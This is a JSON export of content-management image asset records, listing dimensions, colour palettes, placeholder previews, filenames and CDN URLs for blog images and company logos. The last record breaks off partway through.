{"_createdAt":"2023-05-16T09:39:09Z","_id":"image-8745e8424ed7558a57a6551fa215cb92aa408a2d-1567x844-png","_rev":"7zkUzK17nyKradHQJJG45a","_type":"sanity.imageAsset","_updatedAt":"2023-05-16T09:39:09Z","assetId":"8745e8424ed7558a57a6551fa215cb92aa408a2d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M86R{3.8RPt8V@_Nx]M{kBWBWBV@Rjaet7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB+ElEQVQokW3Q7W/SUBQG8LaswBKhCGyA+tUs3NtSoL2AvJQNX5ZMQ7YoEJwCW9bblrVlQucXs4VNYcMOgv+xaXUxqMkvJ8+H8yQnh/Cn+yHRjCBHND+I5AZh0QgjM4QMRjBCgh4WjLBoPsiceqBCALwiWhqCN5eoMSm0psX2baF1k29OUXPC71+x9XHm4DrXmOSa06e7XwJZnQKr/VjFyr77Vu3e1Y4WO735dm/+8mRZO1rk2zeF9m3teLErL1+dLEuHs629i43S0Mv3/5QT1fNca/rcWfqx05sX38+kjl06nGXefkXNSaVjV7t3UseWOnb5w3dYHweQSQL8CxGXLLExqXbtF8eLykd7a+/iUfU8Vh5Fip82ysO4ZMUlK1axEpL1ePvzZnnkS/dJgCmIKYCJcOEs+foyvX+VObhO1cfxysjLqRRQSKiQELt+BwoqlJspiD1QdspeTgtm9ZDgYLK6n9couPpSgAmoOIBCAsXDYpqVaVZeg5ggAfa4qCQmkzIJ5P80Wc0BNYpV6ZTi5TDNYh/ExDorM2k1KOg+vu9cdf+MewoJVRJq7lQp6JRpTqFZxQ8wEeHlJ/nTRHnIINObUmlWXfsL13c5meZUX0rx85o/pa1zKhFB+mbBiD47e5gfBEUj8C80CIimm3WHoAdFg0EDBhk/Aag/olYDiw+NAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345071","foreground":"#fff","population":0.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":65.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":65.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcd8","foreground":"#000","population":0.62,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f7493","foreground":"#fff","population":1.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b54b57","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"commitment_is_good_except_when_committing_secrets_blog.png","path":"images/sczeoy4w/production/8745e8424ed7558a57a6551fa215cb92aa408a2d-1567x844.png","sha1hash":"8745e8424ed7558a57a6551fa215cb92aa408a2d","size":69930,"uploadId":"nJFiL0m9bLXDafTrYa42WeyoFR3GUTkd","url":"https://cdn.sanity.io/images/sczeoy4w/production/8745e8424ed7558a57a6551fa215cb92aa408a2d-1567x844.png"} {"_createdAt":"2022-09-27T07:58:08Z","_id":"image-8745f8234e5b584fda342e1d38064871b129a541-3757x1259-svg","_rev":"lf1jOsEAA7PAFZMZhakPXU","_type":"sanity.imageAsset","_updatedAt":"2022-09-27T07:58:08Z","assetId":"8745f8234e5b584fda342e1d38064871b129a541","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DFO?y}|1Ap,s1]S2]U,@wew{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.984114376489277,"height":1259,"width":3757},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABTUlEQVQokS2RW4uIYRSFPy6kuJFDZPB8I8n5Ykgk67vQhCg3ZG7cSFESIzFEDgkxE42c5Vwk5cIvcOm3zPMf9Na+2K1We79rr/XuTrJbclZyXrJTslfySjIrGSQjkoVza/Z1kiWSUcnawmX2wzxJN7duf9dm2tBzyTvJW8mk5JDkkeSr5KLkgGR11RHJOckxyVHJdslSyUpJLxlrgv/KzQPJE8kJyZTkp2RaclJyWHKhlr6QXJKckRyUHC8jNyUzTfCN5IbkuuSp5Erhb8kHyTXJnUrxR/Ja8lByV3JV8kzypWanmuAuyXgJNpEf9agt+lauPkk+Sn4VNv6+6rPkZbne2NkP8yUrKtJfyXfJKcmE5JbkXn1Hc/VYcr/47UrW+GXJHsmCztGhiS6yHybsh+bstGSVZLlkk2SzZEsdYEfhtuqtl2yVbJAsbtf+Dzx762utAznuAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e2226","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#970410","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc183f","foreground":"#fff","population":3.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#97011b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fd7c92","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a34651","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc183f","foreground":"#fff","population":3.95,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"vidio-logo-new.svg","path":"images/sczeoy4w/production/8745f8234e5b584fda342e1d38064871b129a541-3757x1259.svg","sha1hash":"8745f8234e5b584fda342e1d38064871b129a541","size":15867,"uploadId":"lf02tC6sqf9V5YLJj11Gu5wtkWOiOhpI","url":"https://cdn.sanity.io/images/sczeoy4w/production/8745f8234e5b584fda342e1d38064871b129a541-3757x1259.svg"} {"_createdAt":"2023-04-04T07:41:35Z","_id":"image-8748d27da079019cf74a8372aa06f7b9eb5447ba-1870x936-png","_rev":"vOsSHiJII2yR1stA8UVN38","_type":"sanity.imageAsset","_updatedAt":"2023-04-04T07:41:46Z","altText":null,"assetId":"8748d27da079019cf74a8372aa06f7b9eb5447ba","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9978632478632479,"height":936,"width":1870},"exif":{"PixelXDimension":1870,"PixelYDimension":936,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAACEklEQVQokXWSS08TURiG+RFStbT0YjvT9kw7nV6mdIBpEaoVqaSUQq9gxYrBhCgbFxpXRg3BmKghLjRu/COGmBgjxEuCMeG/PKanAhLi4lmcfMlz3rzfNzAcSBMU46iigCquoogp+e5jH+EPWTi9Bg6XxuCQkJxxRiSH7x4DXiVDWJ9AM4oIfYZwtIAazUlCPWJ5SVCM4QmmGfIZnPfoUuxwCRwn5IIBlz+BT82giDGSI1cwR6cJRCzcF5K4A0l6857E6Y1LUZ8YQ36DSNxGM/JyfpSw/5OGP5RherbJQqNLNDGBR0kh0jni2Sn09F9Sk4R1m2EliRK3uFZdYm7hBhF9nLPuaF94GNenpJkpt2ksrZEYKZAcvcStu/d58nybza03ksfPXtPpbhAzLyJMm/nWCtVGFxG3Twu9Sppiqc5ic5VEtkB+eo7tdx/Y+/ab/Z8H7P844OvuL168eo+VKyFSNuVmh/Jih1Bs7GhZxwlVk1K5TXN5jbg5iTVRYuvlW3Y+7fHl83fJx51dnm5uk8oWUWOjVBorVJtdIrp9WjgcSDJ5eZ7ZyjKakUMYOSrNLnc2HrJ+75Fkbf0Bs5UOqrAIhjIUZ2qy96Cwjpfyb8Jeh/X2bVm+O5jAr5n4Iqac9cngVzN4fAZhYTFX7VCt/ydhX9ii1lolmsjLGxt0HR/vIb3yz7k1VJGlXL3OfO3mCeEfwu1XB0mT8EsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c3142","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#231c76","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7677aa","foreground":"#fff","population":0.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ccea2","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4c4c4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7677aa","foreground":"#fff","population":0.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#50bd5b","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"qovery-preview-env-1.png","path":"images/sczeoy4w/production/8748d27da079019cf74a8372aa06f7b9eb5447ba-1870x936.png","sha1hash":"8748d27da079019cf74a8372aa06f7b9eb5447ba","size":414512,"title":null,"uploadId":"KaGZ9rJzKbwf80YDExJshHUbfCQY8keN","url":"https://cdn.sanity.io/images/sczeoy4w/production/8748d27da079019cf74a8372aa06f7b9eb5447ba-1870x936.png"} {"_createdAt":"2022-10-24T15:55:56Z","_id":"image-874f2382bb973bf0a4257b8298a4cad3f0bc8bb6-800x397-png","_rev":"o6tzS9VqKAkmnDQmLEZxRb","_type":"sanity.imageAsset","_updatedAt":"2022-10-24T15:59:04Z","altText":"New records A, B, C, D and are sent to partition 1 as a batch","assetId":"874f2382bb973bf0a4257b8298a4cad3f0bc8bb6","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0151133501259446,"height":397,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABQUlEQVQokY2S6WrDQAyE/f7vVyhJSWzvqb28p+3d7NrFSa8fLQ18CCEYBo3UxXl/hpD2EDf/SYh7THv3nHJzvgpdCRTEMoEidLN+63zcXGjWV+vr5KqeipqKcTcX2o950WbFvJz65eUcX68z4lXb1lnfpMlCZaEzlwuiccAeswhyFTqDXJmYAYKSiUK54vw2LhecibiLta2gFiYSE4lCRDQM2PfYIxoxTYjGkUaCLTBHIA/s1tMysBuVTbvWSZMpRMw8ExFk4nKmMBP+UQ9gZjwA94R/i4lsh7PUmbBAedRTmXy17tj84B7Bo7Euaz1TyCPUkd8Qr0w1Y1tnbBZqlnp1vob0R+CpmekI+eHcfzkzbhFWhFk9LSG19Pu1NuurNJXrxlTlqgnTJr911wFOZ3S5cqFiSDUt/z7Jfn+SLaT9HYT7NkoWDQpgAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343456","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2548","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6d7396","foreground":"#fff","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8afcc","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0ccb4","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d7396","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#495db5","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-partitioning-batch.png","path":"images/sczeoy4w/production/874f2382bb973bf0a4257b8298a4cad3f0bc8bb6-800x397.png","sha1hash":"874f2382bb973bf0a4257b8298a4cad3f0bc8bb6","size":18779,"title":null,"uploadId":"lLhBLy4XkF4JVcvnnPDGb5hyunyFk3hu","url":"https://cdn.sanity.io/images/sczeoy4w/production/874f2382bb973bf0a4257b8298a4cad3f0bc8bb6-800x397.png"} {"_createdAt":"2022-06-30T19:59:28Z","_id":"image-87a0beff0e573475a21a5f66ba0b04aac86121fd-3333x981-jpg","_rev":"QRl2cGoCgj0FlAhkRri8OV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:41Z","assetId":"87a0beff0e573475a21a5f66ba0b04aac86121fd","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DLQcPH-orXI;~pg*J*XA$~WF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.397553516819572,"height":981,"width":3333},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAGABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAEFB//EAB8QAAICAgEFAAAAAAAAAAAAAAEDAAIFEQQGFCEiMf/EABcBAAMBAAAAAAAAAAAAAAAAAAECAwT/xAAdEQACAgEFAAAAAAAAAAAAAAABAgARAwQSIUFh/9oADAMBAAIRAxEAPwDegh7cjelnWqvZPrc7kdR9ynH1pxWiuvpsTESeFi/DezTqUVK2joSxwKnqxig/kXcwjZvY+YiIhdibJgoT/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b4c50","foreground":"#fff","population":2.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#573b9c","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4b4c50","foreground":"#fff","population":2.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cb99a3","foreground":"#000","population":0.93,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4d8fc","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f6277","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6542b","foreground":"#fff","population":2.79,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"87a0beff0e573475a21a5f66ba0b04aac86121fd-3333x981.jpg","path":"images/sczeoy4w/production/87a0beff0e573475a21a5f66ba0b04aac86121fd-3333x981.jpg","sha1hash":"87a0beff0e573475a21a5f66ba0b04aac86121fd","size":612690,"uploadId":"eNCdKh2qlq2fuo9V6PMDOrRZxHi3wmzL","url":"https://cdn.sanity.io/images/sczeoy4w/production/87a0beff0e573475a21a5f66ba0b04aac86121fd-3333x981.jpg"} {"_createdAt":"2022-09-07T11:39:46Z","_id":"image-87a436c693e93f59b89f6b87039996d9b60869b1-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFjza","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:46Z","assetId":"87a436c693e93f59b89f6b87039996d9b60869b1","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC3ElEQVQ4jVWUzYvNYRTHP3NJeam5Y0UiDDsv42UnC4lSFlK3ZjQyfue5XpNJIiELEZIdDZJZTM1KQmbCloVYSfwB/o/nq/M8545rcbrPPef7/T7n95wXANQBdUFnQQdB1menQKOQOxFP4U+QH4OOg06AbrmSi01C7hFTH8GtoSWjLWM4G8NKtNWllY9HAk38ngveZSC7s+m7NS0IDcnYmQ2T8dAtG0mJnUoM6RQtnQzuRPw2hHoD2YOJgchoRza6Mp7KmJfxScbHbMyFr5uNXUqs1GlaC4IXXND/pJLRoIwR1Yyc9EHGOxkPZIzLOCbjjozXcclzGWdk7O7P2D91hYytMiZkPMnGexlv4jM7SmxWYrkSy2RslHFExj0Zb+PSZ5HENtfygmyRcTsb32T8kPFSxpisCC3T+X/vozOlgEu9SDJGZUxn46eM764hY4sDRrLxSMYvGb9lTMk4LGO1GhZ7FXOvWLWyi0usYqaC41zXGCGquUfGTRlfAvBKxlUZ+0J4SW5YEkL7IuaY37lybobGkAsO5JMskrFdxoyMPzK+xvvM5ko+5Bbn2Yh9DeyMc0NjwD/ZW8UrvdaLIuOzjOvZuNJHfttXhNmIXQ/sk+AWrZJhTMe6EPSWOND7vCC/cItzfYaKmQ/OutAYqM1cR86dftsHJfZrbKEAq3Jt9B1+Lj6POaZinVMFUy/DOrtrYrw+KzGpxCYllupaVNfNz+6rscmCtdKvzo0M/22WdjS3v5WP2H0ZR72xc5flbqXJ3Vdjc4GdCG7RqQ1bh9yrtCHGbCre501MxXjYvfDNB2a8cJwbiwJNQz4NugR5gpYa2mrKe6UgeSYfw+bClwqmoV04znWNaRd0Zd84l/v22//CTXyiW9MTKpjeTnSua5TlMFpnVDeqw5dtuS2Ec8OgGta7lXMIOaYsZk/Iua4x2tvanQiOg/bGboyFq4uQ71bzc2+jF8zeyincThX7C+ZUhiuXLBZ5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#283450","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e1c04","foreground":"#fff","population":1.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f86106","foreground":"#fff","population":5.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#953a03","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbad7d","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a86c54","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f86106","foreground":"#fff","population":5.73,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-graduation-hat.svg","path":"images/sczeoy4w/production/87a436c693e93f59b89f6b87039996d9b60869b1-24x24.svg","sha1hash":"87a436c693e93f59b89f6b87039996d9b60869b1","size":613,"uploadId":"RyH8m0d62QGgkXIH7VETJMxWQt0f7StJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/87a436c693e93f59b89f6b87039996d9b60869b1-24x24.svg"} {"_createdAt":"2023-11-14T12:43:41Z","_id":"image-87d2c32997f27943bfd9966501134b753ac7fb01-2500x1313-jpg","_rev":"hwzycBVSV9IrfaFzCm1Jvi","_type":"sanity.imageAsset","_updatedAt":"2023-11-14T12:43:41Z","assetId":"87d2c32997f27943bfd9966501134b753ac7fb01","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGT5n_*KUHyDuj%2tQaxa1n+qZT}n3a0cZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.904036557501904,"height":1313,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABgAF/8QAIhAAAgICAQMFAAAAAAAAAAAAAQIDBAARBQYSIRMjMWGR/8QAFgEBAQEAAAAAAAAAAAAAAAAABwMF/8QAGhEAAwEBAQEAAAAAAAAAAAAAAQIDEQAFMf/aAAwDAQACEQMRAD8A06tmkIkDQ7YDydYo6Jp1eT5xYmi9oIW0RrBeyYlHj8xTwU8tVYJa7mOQqR3L84cRqFqpcaByl6EyYsEOE6PvJOp6cNHk/RroETsB19+cszrNqezIJJ5Gd9a2csveqPRmUYD2RGbpMKx0jv/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6a686c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ae6a31","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5cacb","foreground":"#000","population":0.58,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7be7a","foreground":"#000","population":0.46,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#747894","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.55,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"G2_Momentum_Grid_report_meta_preview_image_1200x630.jpg","path":"images/sczeoy4w/production/87d2c32997f27943bfd9966501134b753ac7fb01-2500x1313.jpg","sha1hash":"87d2c32997f27943bfd9966501134b753ac7fb01","size":207987,"uploadId":"bJra8T5afQP6DqGvek5ZpgHOaWUPxZD2","url":"https://cdn.sanity.io/images/sczeoy4w/production/87d2c32997f27943bfd9966501134b753ac7fb01-2500x1313.jpg"} {"_createdAt":"2023-08-15T12:21:15Z","_id":"image-87e8003b62a9f0d80913b364316b13888d00ae40-600x104-png","_rev":"XPsPxQ3o95dhiSIpxGJLxH","_type":"sanity.imageAsset","_updatedAt":"2023-08-15T12:21:15Z","assetId":"87e8003b62a9f0d80913b364316b13888d00ae40","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"42Ad7f0000~q4n","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.769230769230769,"height":104,"width":600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAyUlEQVQImS2PMUvDYBRFMyTfe+/eG0wCAYcgCK7iTxDci4NY0BaL2qm4CNWIVFsHcVBchA7+Wgk4nPmckwE4joi5u/cR8SBpVlXVAYAddz+LiB8AG5IzkhOS1ySvJF2WZXlOcippUdf1Rdd1h1lKaWRmvZn9uvs2Iu4AHAFo3X0UEV8APgG8AngB8AygJ7mRtAawjoh3Sbdt2+5neZ6viqL4MLPvgZTSm5mdAthz9xN3fwSwJLkEcP9feCNpuHkiuRpEksZN0+z+AVHNHwUn6vDAAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2e2e","foreground":"#fff","population":0.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2e2e2e","foreground":"#fff","population":0.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-bonsai.png","path":"images/sczeoy4w/production/87e8003b62a9f0d80913b364316b13888d00ae40-600x104.png","sha1hash":"87e8003b62a9f0d80913b364316b13888d00ae40","size":37533,"uploadId":"vIIAPWGmyHcU6NE5sTKEH7Pzb7NUI8D6","url":"https://cdn.sanity.io/images/sczeoy4w/production/87e8003b62a9f0d80913b364316b13888d00ae40-600x104.png"} {"_createdAt":"2024-03-13T11:16:15Z","_id":"image-87eeffef9a4e11e0302ae30bf45b0f43af0d0f7b-2386x900-png","_rev":"2QvLnXP36WAnQ13A3nfr42","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T11:16:15Z","assetId":"87eeffef9a4e11e0302ae30bf45b0f43af0d0f7b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.651111111111111,"height":900,"width":2386},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA6ElEQVQokZXRSSsHUBQF8J95jI2NISJZGVeSMZnKsJKNIkMiSWZL5YvrcP8fwKvbee/d984991z+Vit60F7nZnSiCy3+uZoxiRWMog0DWMQyhou4H31VtK1EtFaEo6nw9/Ee7rGBMSzhFo/Yr2LBbSxgHtOYLRzHCAZVq0d4wTkOcIMvfOMDz/jEEy5xhrsqeoJjHGIuhB3VXi5PcV0E74VR+YZXPBTJVeXydrcEXGAihDF9CFPVzhZ2sFYermKz7EisFyY/U/6nwxD3NgYT0pgbtbmMDZlyorsiXjf2jXz+ZFjxMepafgAsDBm/nPaMuQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Fullstory.png","path":"images/sczeoy4w/production/87eeffef9a4e11e0302ae30bf45b0f43af0d0f7b-2386x900.png","sha1hash":"87eeffef9a4e11e0302ae30bf45b0f43af0d0f7b","size":66779,"uploadId":"BAchqptaQnwCMNnZ2zyfvm11joBmTNnb","url":"https://cdn.sanity.io/images/sczeoy4w/production/87eeffef9a4e11e0302ae30bf45b0f43af0d0f7b-2386x900.png"} {"_createdAt":"2023-02-10T08:55:52Z","_id":"image-87fc53fc08a7716056a5ba920d0c8b3e5c4b4476-1567x844-jpg","_rev":"qBG5W2UzMHRLoCg3nD3nOq","_type":"sanity.imageAsset","_updatedAt":"2023-02-10T10:07:58Z","altText":"Build a streaming SQL pipeline with Apache Flink and Apache Kafka","assetId":"87fc53fc08a7716056a5ba920d0c8b3e5c4b4476","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMBAgUH/8QAHxAAAQMEAwEAAAAAAAAAAAAAAQACIQMEBRESFTFR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgUG/8QAGBEBAQEBAQAAAAAAAAAAAAAAAQACESH/2gAMAwEAAhEDEQA/AOR0crj2U2B1gHOaACYlWGWsOJHXNncwsS48Z54mW00a29HTVqDA0R0kmow8yWjQMhCgk/UJ+Q43/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#335072","foreground":"#fff","population":0.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":60.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":60.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cccce2","foreground":"#000","population":0.01,"title":"#000"}